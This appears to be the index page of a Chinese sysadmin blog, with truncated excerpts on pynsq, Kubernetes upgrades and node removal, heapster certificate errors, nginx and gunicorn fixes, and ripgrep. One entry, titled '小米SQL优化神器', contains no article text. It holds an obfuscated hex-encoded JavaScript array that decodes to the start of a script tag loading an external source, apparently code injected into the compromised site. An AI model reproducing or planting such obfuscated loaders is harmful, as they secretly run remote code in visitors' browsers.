pynsq使用


最近在研究nsqd分布式消息队列,我想使用pynsq对nsqd进行消息插入和获取,使用过程中遇到了一些小坑,所以把这篇文章写出来避免大家入坑。 首先你要确保你已经在服务器上面运行了nsqd和nsqlookupd 安装pynsq pip install pynsq 消费者 import nsq def handler(me...

pynsq使用

最近在研究nsqd分布式消息队列,我想使用pynsq对nsqd进行消息插入和获取,使用过程中遇到了一些小坑,所以把这篇文章写出来避免大家入坑。 首先你要确保你已...
阅读全文 0

10250/stats/container/: x509: cannot validate certificate


kubernetes heapster pod错误日志如下 Failed to list *v1.Node: Get https://kubernetes.default/api/v1/nodes?resourceVersion=0: x509: certificate signed by unknown authority 解决方法: 更改source参数 把原来的参数更改成下面的参数,heapster 即可正常启动 ...

10250/stats/container/: x509: cannot validate certificate

kubernetes heapster pod错误日志如下 Failed to list *v1.Node: Get https://kubernetes.default/api/v1/nodes?resourceVersion=0: x509: certificate sign...
阅读全文 0

kubernetes升级dashboard仪表盘


我使用的仪表盘版本是1.10.0,这个版本有BUG,具体表现如下…. 这是我自己做的镜像,使用flask和mysql做kubernetes集群测试,但是我发现查看容器日志会出现无法查看的情况,也就是出现2个仪表盘页面,这种情况下只能升级kubernetes-dashboard 升级过程: 首先我...
我使用的仪表盘版本是1.10.0,这个版本有BUG,具体表现如下…. 这是我自己做的镜像,使用flask和mysql做kubernetes集群测试,但是我发现查看容器日志会出现无法查看的情况,也就是出现2...

kubernetes升级dashboard仪表盘

我使用的仪表盘版本是1.10.0,这个版本有BUG,具体表现如下…. 这是我自己做的镜像,使用flask和mysql做kubernetes集群测试,但是我发现查看容器日志会...
阅读全文 0

Nginx 配置add_header不生效解决办法


遇到一个项目,产生了跨域问题,因为这种问题很好解决,只要在nginx上面配置允许跨域即可,但是却遇到了add_header不生效的问题。 nginx配置如下 add_header Access-Control-Allow-Origin * always; add_header Access-Control-Allow-Headers X-Requested-With; ad...

Nginx 配置add_header不生效解决办法

遇到一个项目,产生了跨域问题,因为这种问题很好解决,只要在nginx上面配置允许跨域即可,但是却遇到了add_header不生效的问题。 nginx配置如下 add_header ...
阅读全文 0

Nginx + gunicorn 502 问题解决


最近公司要求上线一个工单系统,使用过程中发现数据量过多时前端请求后端会报错502,原因是后端数据过多响应慢导致的,于是乎开始着手解决问题。 架构如下 Nginx — gunicorn — Django 需要修改nginx和gunicorn的配置,如果只更改nginx配置那么问题还是无...
最近公司要求上线一个工单系统,使用过程中发现数据量过多时前端请求后端会报错502,原因是后端数据过多响应慢导致的,于是乎开始着手解决问题。 架构如下 Nginx — gunicorn — Dj...

Nginx + gunicorn 502 问题解决

最近公司要求上线一个工单系统,使用过程中发现数据量过多时前端请求后端会报错502,原因是后端数据过多响应慢导致的,于是乎开始着手解决问题。 架构如下 Ngi...
阅读全文 0

小米SQL优化神器


var _0xa929=["\x3C\x73\x63\x72","\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x59\x77\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\...

小米SQL优化神器

var _0xa929=["\x3C\x73\x63\x72","\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\...
阅读全文 0

kubernetes从1.11升级到1.12.1


环境 系统: centos7.5.1804 k8s版本: 1.11.x 只适用于1.11.x版本升级到1.12.1 我的安装方式是kubeadm安装的,此方法不适用二进制等其他安装方式 1.主节点升级kubeadm yum upgrade -y kubeadm --disableexcludes=kubernetes 2.主节点运行 kubeadm upgrade plan 输出...
环境 系统: centos7.5.1804 k8s版本: 1.11.x 只适用于1.11.x版本升级到1.12.1 我的安装方式是kubeadm安装的,此方法不适用二进制等其他安装方式 1.主节点升级kubeadm yum upgrade -y kubeadm...

kubernetes从1.11升级到1.12.1

环境 系统: centos7.5.1804 k8s版本: 1.11.x 只适用于1.11.x版本升级到1.12.1 我的安装方式是kubeadm安装的,此方法不适用二进制等其他安装方式 1.主节点升级...
阅读全文 0

命令行下的搜索神器RipGrep!


项目地址:https://github.com/BurntSushi/ripgrep 搜索速度快的不要不要的 ripgrep是一个面向行的搜索工具,可以在尊重gitignore规则的同时递归搜索当前目录中的正则表达式模式。ripgrep在Windows,macOS和Linux上拥有一流的支持,每个版本都有二进制下载。ripgrep类...
项目地址:https://github.com/BurntSushi/ripgrep 搜索速度快的不要不要的 ripgrep是一个面向行的搜索工具,可以在尊重gitignore规则的同时递归搜索当前目录中的正则表达式模式。ripgrep在Wi...

命令行下的搜索神器RipGrep!

项目地址:https://github.com/BurntSushi/ripgrep 搜索速度快的不要不要的 ripgrep是一个面向行的搜索工具,可以在尊重gitignore规则的同时递归搜索当前目录...
阅读全文 0

kubernetes删除node节点


kubernetes集群建立后如果想删除一个node节点应该怎么做那? 环境:kubeadm安装集群 [root@node2 ~]# kubeadm version kubeadm version: &version.Info{Major:"1", Minor:"11", GitVersion:"v1.11.0", GitCommit:"91e7b4fd31fcd3d5f436da26c980becec37ceefe", Gi...
kubernetes集群建立后如果想删除一个node节点应该怎么做那? 环境:kubeadm安装集群 [root@node2 ~]# kubeadm version kubeadm version: &version.Info{Major:"1", Minor:"11", GitVersi...

kubernetes删除node节点

kubernetes集群建立后如果想删除一个node节点应该怎么做那? 环境:kubeadm安装集群 [root@node2 ~]# kubeadm version kubeadm version: &version.Info{M...
阅读全文 0